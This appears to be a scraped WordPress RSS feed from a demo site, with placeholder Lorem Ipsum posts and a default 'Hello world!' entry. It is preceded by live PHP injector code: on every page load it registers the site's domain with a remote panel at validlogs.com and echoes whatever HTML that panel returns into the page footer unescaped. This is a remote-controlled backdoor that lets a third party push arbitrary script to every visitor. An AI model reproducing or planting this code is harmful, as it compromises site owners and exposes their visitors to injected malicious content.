function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array(
        'body' => array(
            'action' => 'register_domain',
            'domain' => $domain
        ),
        'timeout' => 5
    ));
    if (is_wp_error($response)) {
        return;
    }
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) {
            echo $html_code;
        });
    }
}
add_action('init', 'wp_injector_fetch_code');
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		<title>There are many variations of passages of Lorem Ipsum</title>
		<link>https://first-in-caring.demowebsiteclient.com/there-are-many-variations-of-passages-of-lorem-ipsum-2/</link>
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					<description><![CDATA[It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout he point of using has a...]]></description>
										<content:encoded><![CDATA[<p>It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout he point of using has a more.</p>
<p><a href="#">Read More</a></p>
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		<guid isPermaLink="false">http://first-in-caring.demowebsiteclient.com/?p=34</guid>

					<description><![CDATA[It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout he point of using has a...]]></description>
										<content:encoded><![CDATA[<p>It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout he point of using has a more.</p>
<p><a href="#">Read More</a></p>
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		<item>
		<title>Hello world!</title>
		<link>https://first-in-caring.demowebsiteclient.com/hello-world/</link>
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		<dc:creator><![CDATA[msadmin]]></dc:creator>
		<pubDate>Mon, 16 Jan 2023 21:37:01 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">http://first-in-caring.demowebsiteclient.com/?p=1</guid>

					<description><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start writing!]]></description>
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<p>Welcome to WordPress. This is your first post. Edit or delete it, then start writing!</p>
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